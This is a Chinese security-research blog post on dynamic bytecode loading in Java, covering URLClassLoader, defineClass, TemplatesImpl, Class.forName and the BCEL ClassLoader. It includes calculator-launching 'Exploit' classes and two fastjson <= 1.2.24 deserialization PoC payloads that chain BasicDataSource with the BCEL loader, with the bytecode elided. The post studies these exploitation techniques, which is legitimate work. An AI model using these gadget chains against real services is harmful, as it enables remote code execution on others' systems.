Java中动态加载字节码的方法 (持续补充)

Java中动态加载字节码的方法

1、利用 URLClassLoader 加载远程class文件

public static void main(String[] args) {
    try {
        //使用file协议在本地寻找指定.class文件
        //URL[] urls = new URL[]{new URL("file:///Users/fa1c0n/codeprojects/IdeaProjects/misc-classes/src/main/java/")};
        //使用http协议到远程地址寻找指定.class文件
        URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")};
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class clazz = urlClassLoader.loadClass("Exploit");
        clazz.newInstance();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

2、利用 ClassLoader#defineClass 直接加载字节码

2.1 类加载 - 双亲委派模型

在这里插入图片描述

  • BootstrapClassLoader:启动类加载器/根加载器,负责加载 JVM 运行时核心类,这些类位于 JAVA_HOME/lib/rt.jar 文件中,我们常用内置库 java.*.*都在里面。这个 ClassLoader 比较特殊,它其实不是一个ClassLoader实例对象,而是由C代码实现。用户在实现自定义类加载器时,如果需要把加载请求委派给启动类加载器,那可以直接传入null作为 BootstrapClassLoader。

  • ExtClassLoader:扩展类加载器,负责加载 JVM 扩展类,扩展 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,库名通常以 javax 开头。

  • AppClassLoader,应用类加载器/系统类加载器,直接提供给用户使用的ClassLoader,它会加载 ClASSPATH 环境变量或者 java.class.path 属性里定义的路径中的 jar 包和目录,负责加载包括开发者代码中、第三方库中的类。AppClassLoader 可以由 ClassLoader 类提供的静态方法 getSystemClassLoader() 得到。

ClassLoader.getParent() 可以获取用于委派的父级class loader,通常会返回null来表示bootstrap class loader。

2.2 双亲委派模型的代码实现

在这里插入图片描述

如上图,实现双亲委派的代码都集中在 java.lang.ClassLoader#loadClass()方法中,其逻辑如下:

  • 先检查是否已被加载过;
  • 若没有加载过则调用父加载器的loadClass()方法;
  • 若父加载器为null则默认使用启动类加载器(Bootstrap ClassLoader)作为父加载器;
  • 如果父加载器加载类失败,抛出ClassNotFoundException异常后,再调用自己的findClass()方法进行加载。(findClass()最终会调用defineClass()加载字节码)

注意:
这里的“双亲”,指的并不是有两个父加载器,可能仅仅是英文“parent”的翻译。每个ClassLoader最多有一个父加载器,也就是parent变量。“双亲委派机制”指的就是优先让父加载器去加载类,如果父加载器没有成功加载到类,才由本ClassLoader加载。
 
这样可以保证安全性,防止系统类被伪造(比如自定义java.lang.Object类,肯定是无法运行的)。
对于Java程序来讲,一般的类是由AppClassLoader来加载的,而系统类则是由BootStrapClassLoader加载的。由于BootStrapClassLoader是在native层实现的,所以调用系统类的getClassLoader()方法会返回null。

2.3 自定义ClassLoader

java.lang.ClassLoader是一个抽象类。创建一个继承自ClassLoader的类,并重写findClass()方法实现类的加载,即可完成自定义ClassLoader。示例如下:

public class MyClassLoader extends ClassLoader {
    private String dirPath;

    @Override
    public String getName() {
        return "MyClassLoader";
    }

    public MyClassLoader(String dirPath) {
        if (!dirPath.endsWith("/") && !dirPath.endsWith("\\")) {
            dirPath += "/";
        }
        this.dirPath = dirPath;
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        String filePath = dirPath + name.replace('.', '/') + ".class";
        byte[] b;
        Path path;
        try {
            path = Paths.get(new URI(filePath));
            b = Files.readAllBytes(path);
            // defineClass将字节数组转换成Class对象
            return defineClass(name, b, 0, b.length);
        } catch (IOException | URISyntaxException e) {
            e.printStackTrace();
            return null;
        }
    }
}

2.4 ClassLoader#defineClass() 加载字节码

不管是加载远程class文件,还是本地class文件,Java都经历了下面三个方法的调用:
在这里插入图片描述
从前面的分析可知:

  • loadClass() 的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;
  • findClass() 根据URL指定的方式来加载类的字节码,其中会调用defineClass()
  • defineClass() 的作用是处理传入的字节码,返回一个Class类型的对象。

使用ClassLoader#defineClass()直接加载类字节码的示例:

Exploit3.java

public class Exploit3 {

    public Exploit3() {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

public class DefineClassDemo {
    public static void main(String[] args) {
        try {
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
                    String.class, byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            byte[] codes = Base64.getDecoder().decode("yv66v...(class字节码的base64编码)...");
            Class expClazz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),
                    "Exploit3", codes, 0, codes.length);
            expClazz.newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

注意:
ClassLoader#defineClass()被调用时,Class对象并不会被初始化,只有显示调用其构造方法,初始化代码才能被执行。即使将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。因此,如果要使用defineClass()在目标机器上执行任意代码,需要想办法调用构造方法。
 

defineClass()TemplatesImpl的基石。

3、利用 TemplatesImpl 加载字节码

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl作为fastjson <= 1.2.24 反序列化漏洞的其中一条利用链出现过。

虽然大部分上层开发者不会直接使用到defineClass()方法,但是Java底层还是有的类用到了它,比如TemplatesImpl

TemplatesImpl#getOutputProperties()
  TemplatesImpl#newTransformer()
    TemplatesImpl#getTransletInstance()
      TemplatesImpl#defineTransletClasses()
        TransletClassLoader#defineClass()
      Class#newInstance()

TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()都是public类型,这里使用TemplatesImpl#newTransformer()来实现类加载并初始化。

public class TemplatesImplDemo {
    private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, fieldValue);
    }
    public static void main(String[] args) {
        try {
            byte[] codes = Base64.getDecoder().decode("yv66vg...(class字节码的base64编码)...");
            byte[][] _bytecodes = new byte[][] {
                    codes,
            };
            TemplatesImpl templates = new TemplatesImpl();
            setFiledValue(templates, "_bytecodes", _bytecodes);
            setFiledValue(templates, "_name", "whatever");
            setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
            templates.newTransformer();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
其中,TemplatesImpl对加载的字节码是有要求的:该字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类,如:

public class Exploit2 extends AbstractTranslet {
    public Exploit2() {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

4、Class.forName()

4.1 使用Class.forName() 加载目标类

public class ClassforNameDemo {
    public static void main(String[] args) {
        try {
            //Class.forName(String className),会对类进行初始化,执行类的static代码块
//            Class<?> clazz = Class.forName("evil.Exploit2");
            //Class.forName(String name, boolean initialize, ClassLoader loader),
            //   如果参数initialize为true,则会对类进行初始化,执行类的static代码块
            Class.forName("evil.Exploit2", true, ClassLoader.getSystemClassLoader());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

4.2 Class.forName()和ClassLoader#loadClass()的区别

其实Class.forName() 也是使用ClassLoader去加载目标类的,但与ClassLoader#loadClass() 不同的是:

  • (1) Class.forName() 默认情况下会对类进行初始化,执行类中的 static 代码块。而ClassLoader.loadClass() 并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中。
  • (2) Class.forName() 可以加载数组,而 ClassLoader.loadClass() 不能。
    在这里插入图片描述

5、利用BCEL ClassLoader加载字节码

com.sun.org.apache.bcel.internal.util.ClassLoader是常常在构造漏洞利用PoC时用到的类。

那么BCEL究竟是什么?它为什么会出现在JDK中?

5.1 BCEL 简介

注:简介这部分是直接摘抄自P牛的文章(参考[2])

BCEL的全名是 Apache Commons BCEL,是Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel

JDK会将BCEL放到自己的代码中,可能是为了支撑Java XML相关的功能。准确的来说,Java XML功能包含了JAXP规范,而Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。

JAXP全名是Java API for XML Processing,他是Java定义的一系列接口,用于处理XML相关的逻辑,包括DOM、SAX、StAX、XSLT等。Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。

XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成class,才能够执行。

XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。

尝试用本地的Java(注意需要用Java7或6,使用8将会出现异常)来编译一下hello.xsl:

$ java com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile hello.xsl

在这里插入图片描述
可见,从hello.xsl生成了hello.class,反编译这个class即可看到源代码。

不知道大家看到这个代码里的AbstractTranslet会不会有点眼熟?我们在反序列化时常用的另一个类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,它在defineClass中需要的字节码所对应的基类,就是这里的com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

其实Java里很多东西是有因果的,TemplatesImpl是对JAXP标准中javax.xml.transform.Templates接口的实现,前文说了,XSLT在使用时会先编译成Java字节码,这也就是为什么TemplatesImpl会使用defineClass的原因。

关于XSLT这块的内容比较多,不是本文的重点,我就不细说了。那么这部分内容和BCEL有什么关系呢?

你应该也能猜到了,因为需要“编译”XSL文件,实际上核心是动态生成Java字节码,而BCEL正是一个处理字节码的库,所以Apache Xalan是依赖BCEL的。

5.2 BCEL ClassLoader的使用

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import evil.Exploit3;
import java.util.Base64;
public class BCELClassLoaderDemo {
    /**
     * 生成BCEL格式的字节码,方法一:
     *   通过 Repository.lookupClass()将Class对象转化为表示Java字节码的对象JavaClass
     *   然后通过Utility.encode() 将Java字节码对象JavaClass转化为BCEL格式的字节码
     */
    public static String generateBcelCode1(Class clazz) throws Exception {
        JavaClass evilJavaClazz = Repository.lookupClass(clazz);
        String code = Utility.encode(evilJavaClazz.getBytes(), true);
        String bcelCode = "$$BCEL$$" + code;
        System.out.println("bcelcode=" + bcelCode);
        return bcelCode;
    }
    /**
     * 生成BCEL格式的字节码,方法二:
     *   将Java字节码直接传入Utility.encode() ,从而得到BCEL格式的字节码
     */
    public static String generateBcelCode2(String classBase64) throws Exception {
        byte[] codes = Base64.getDecoder().decode(classBase64);
        String code = Utility.encode(codes, true);
        String bcelCode = "$$BCEL$$" + code;
        System.out.println("bcelcode=" + bcelCode);
        return bcelCode;
    }
    public static void main(String[] args) {
        try {
            ClassLoader bcelClassLoader = new ClassLoader();
//            String bcelCode = generateBcelCode1(Exploit3.class);
            String bcelCode = generateBcelCode2("yv66v...(class字节码的base64编码)...");
            bcelClassLoader.loadClass(bcelCode).newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

5.3 BCEL在fastjson <= 1.2.24 反序列化漏洞中的利用

之前的文章Fastjson反序列化高危漏洞系列-part1:1.2.x — 1.2.47 讲述了 fastjson <= 1.2.24 反序列化漏洞的两条利用链:

  • 使用JNDI注入的JdbcRowSetImpl利用链;
  • 使用TemplatesImpl动态加载字节码的利用链。

其实早期还有一条比较通用的利用链:org.apache.tomcat.dbcp.dbcp2.BasicDataSource(在一些较老的版本包名是:org.apache.tomcat.dbcp.dbcp.BasicDataSource),这个类在tomcat-dbcp这个库中,且这个库默认在Tomcat环境中。但不包括Springboot,Springboot默认自带的Tomcat环境并没有这个包,所以需要另外引入。

依赖:tomcat-dbcp,这里以9.0.55版本为例:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.55</version>
</dependency>

调用链:

BasicDataSource#getConnection()
  BasicDataSource#createDataSource()
    BasicDataSource#createConnectionFactory()
      DriverFactory#createDriver()
        Class.forName()      //当恶意类的恶意代码放在static代码块时,这里就会执行
        Constructor#newInstance()  //当恶意类的恶意代码放在构造方法时,也会执行

在这里插入图片描述
Class.forName()中的driverClassdriverClassLoaderBasicDataSource类中都有对应的set方法,所以可通过json字符串传入,指定ClassLoader为BCEL ClassLoader,同时传入恶意类的BCEL格式的字节码,便可初始化恶意类。那么构造PoC的关键就是如何让fastjson反序列化时执行BasicDataSource#getConnection()方法。

PoC-1:当fastjson调用JSON.parse()进行反序列化

{
    {
        "a": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$..."
          }
    }: "b"
}

由于BasicDataSource#getConnection()的返回类型是java.sql.Connection,并不是Map的子类型,所以在json字符串传入connection属性,fastjson反序列化时并不会执行BasicDataSource#getConnection()

在PoC-1中,{"a":{"@type":.....}} 被反序列化为一个JSONObject对象,然后将这部分用{}再包一层作为key,这样,在反序列化的过程中就会触发JSONObject#toString()方法,关键代码如下图:
在这里插入图片描述
JSONObject#toString(),其实就是JSONObject对象序列化为JSON字符串的过程,其实际调用的是JSON#toJSONString()方法。既然是序列化,那就会遍历并调用对象的所有get方法,从而触发BasicDataSource#getConnection()方法。

也许你会说,用$ref引用的方式去调用BasicDataSource的getXXX()方法不就好了。笔者试了一下,在1.2.24版本不行。对比了一下代码,在1.2.36及后续版本才可以。

PoC-2:当fastjson调用JSON.parseObject()进行反序列化

{
   "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
   "driverClassLoader": {
         "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
       },
     "driverClassName": "$$BCEL$$..."
}

而如果目标程序是调用JSON.parseObject(jsonStr) 进行反序列化,PoC的构造就不用那么麻烦了,如PoC-2 所示。

因为在JSON.parseObject(jsonStr) 中,调用parse(jsonStr)反序列化后,还会调用JSON.toJSON()将反序列化得到的对象转化为JSONObject对象。而在JSON.toJSON()方法执行的过程中,会遍历对象的所有get方法并执行。
在这里插入图片描述

利用链如下:

JSON.parseObject()
  JSON.toJSON()
     JavaBeanSerializer#getFieldValuesMap()
       FieldSerializer#getPropertyValue()
         Field#get()
           Method#invoke()     //执行BasicDataSource#getConnection()

5.4 坑 - BCEL ClassLoader去哪了

8u251及之后的JDK版本中,BCEL ClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader 这个类被移除了,具体原因的分析可参考P牛的文章(参考[2])。之后这个类还会不会回归JDK还不知道。

参考

[1] https://github.com/phith0n/JavaThings
[2] https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
[3] 《深入理解Java虚拟机 第2版》 作者:周志明
[4] https://www.jianshu.com/p/6842f96aa0ad
[5] https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值